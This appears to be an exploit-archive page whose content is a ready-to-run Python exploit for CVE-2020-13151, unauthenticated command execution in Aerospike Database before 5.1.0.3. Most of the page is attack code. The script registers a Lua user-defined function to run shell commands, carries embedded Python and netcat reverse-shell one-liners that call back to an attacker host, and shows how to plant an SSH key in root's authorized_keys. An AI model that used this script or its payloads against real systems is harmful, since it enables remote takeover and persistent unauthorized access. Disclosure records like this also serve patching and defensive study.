Aerospike Database 5.1.0.3 Remote Command Execution

2020.11.18
Credit: Matt S
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Aerospike Database 5.1.0.3 - OS Command Execution # Date: 2020-08-01 # Exploit Author: Matt S # Vendor Homepage: https://www.aerospike.com/ # Version: < 5.1.0.3 # Tested on: Ubuntu 18.04 # CVE : CVE-2020-13151 #!/usr/bin/env python3 import argparse import random import os, sys from time import sleep import string # requires aerospike package from pip import aerospike # if this isn't installing, make sure os dependencies are met # sudo apt-get install python-dev # sudo apt-get install libssl-dev # sudo apt-get install python-pip # sudo apt-get install zlib1g-dev PYTHONSHELL = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&""" NETCATSHELL = 'rm /tmp/ft;mkfifo /tmp/ft;cat /tmp/ft|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/ft&' def _get_client(cfg): try: return aerospike.client({ 'hosts': [(cfg.ahost, cfg.aport)], 'policies': {'timeout': 8000}}).connect() except Exception as e: print(f"unable to access cluster @ {cfg.ahost}:{cfg.aport}\n{e.msg}") def _send(client, cfg, _cmd): try: print(client.apply((cfg.namespace, cfg.setname, cfg.dummystring ), 'poc', 'runCMD', [_cmd])) except Exception as e: print(f"[-] UDF execution returned {e.msg}") def _register_udf(client, cfg): try: client.udf_put(cfg.udfpath) except Exception as e: print(f"[-] whoops, couldn't register the udf {cfg.udfpath}") raise e def _random_string(l): return ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(l)]) def _populate_table(client, cfg): ns = cfg.namespace setname = cfg.setname print(f"[+] writing to {ns}.{setname}") try: rec = cfg.dummystring client.put((ns, setname, rec), {'pk':cfg.dummystring}) print(f"[+] wrote {rec}") except Exception as e: print(f"[-] unable to write record: {e.msg}") try: if e.msg.startswith('Invalid namespace'): print("Valid namespaces: ") for n in _info_parse("namespaces", client).split(";"): print(n.strip()) except: pass sys.exit(13) def _info_parse(k, client): try: return [i[1] for i in client.info_all(k).values() ][0] except Exception as e: print(f"error retrieving information: {e.msg}") return [] def _is_vuln(_mj, _mi, _pt, _bd): fixed = [5,1,0,0] found = [_mj, _mi, _pt, _bd] if fixed == found: return False for ix, val in enumerate(found): if val < fixed[ix]: return True elif val == fixed[ix]: pass else: return False def _version_check(client): print("[+] aerospike build info: ", end="") try: _ver = _info_parse("build", client) print(_ver) mj, mi, pt, bd = [int(i) for i in _ver.split('.')] if _is_vuln(mj, mi, pt, bd): print("[+] looks vulnerable") return else: print(f"[-] this instance is patched.") sys.exit(0) except Exception as e: print(f"[+] unable to interpret build number due to {e}") print("[+] continuing anyway... ") def _exploit(cfg): client = _get_client(cfg) if not client: return _version_check(client) print(f"[+] populating dummy table.") _populate_table(client, cfg) print(f"[+] registering udf") _register_udf(client, cfg) if cfg.pythonshell or cfg.netcatshell: sys.stdout.flush() print(f"[+] sending payload, make sure you have a listener on {cfg.lhost}:{cfg.lport}", end="") sys.stdout.flush() for i in range(4): print(".", end="") sys.stdout.flush() sleep(1) print(".") _send(client, cfg, PYTHONSHELL.format(ip=cfg.lhost,port=cfg.lport) if cfg.pythonshell else NETCATSHELL.format(ip=cfg.lhost,port=cfg.lport) ) if cfg.cmd: print(f"[+] issuing command \"{cfg.cmd}\"") _send(client, cfg, cfg.cmd) if __name__ == '__main__': if len(sys.argv) == 1: print(f"[+] usage examples:\n{sys.argv[0]} --ahost 10.11.12.13 --pythonshell --lhost=10.0.0.1 --lport=8000") print("... or ... ") print(f"{sys.argv[0]} --ahost 10.11.12.13 --cmd 'echo MYPUBKEY > /root/.ssh/authorized_keys'") sys.exit(0) parser = argparse.ArgumentParser(description='Aerospike UDF Command Execution - CVE-2020-13151 - POC') parser.add_argument("--ahost", help="Aerospike host, default 127.0.0.1", default="127.0.0.1") parser.add_argument("--aport", help="Aerospike port, default 3000", default=3000, type=int) parser.add_argument("--namespace", help="Namespace in which to create the record set", default="test") parser.add_argument("--setname", help="Name of set to populate with dummy record(s), default is cve202013151", default=None) parser.add_argument('--dummystring', help="leave blank for a random value, can use a previously written key to target a specific cluster node", default=None) parser.add_argument("--pythonshell", help="attempt to use a python reverse shell (requires lhost and lport)", action="store_true") parser.add_argument("--netcatshell", help="attempt to use a netcat reverse shell (requires lhost and lport)", action="store_true") parser.add_argument("--lhost", help="host to use for reverse shell callback") parser.add_argument("--lport", help="port to use for reverse shell callback") parser.add_argument("--cmd", help="custom command to issue against the underlying host") parser.add_argument('--udfpath', help="where is the udf to distribute? defaults to `pwd`/poc.lua", default=None) cfg = parser.parse_args() if not cfg.setname: cfg.setname = 'cve202013151' if not cfg.dummystring: cfg.dummystring = _random_string(16) if not cfg.udfpath: cfg.udfpath = os.path.join(os.getcwd(), 'poc.lua') assert cfg.cmd or (cfg.lhost and cfg.lport and (cfg.pythonshell or cfg.netcatshell)), "Must specify a command, or a reverse shell + lhost + lport" if cfg.pythonshell or cfg.netcatshell: assert cfg.lhost and cfg.lport, "Must specify lhost and lport if using a reverse shell" _exploit(cfg)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top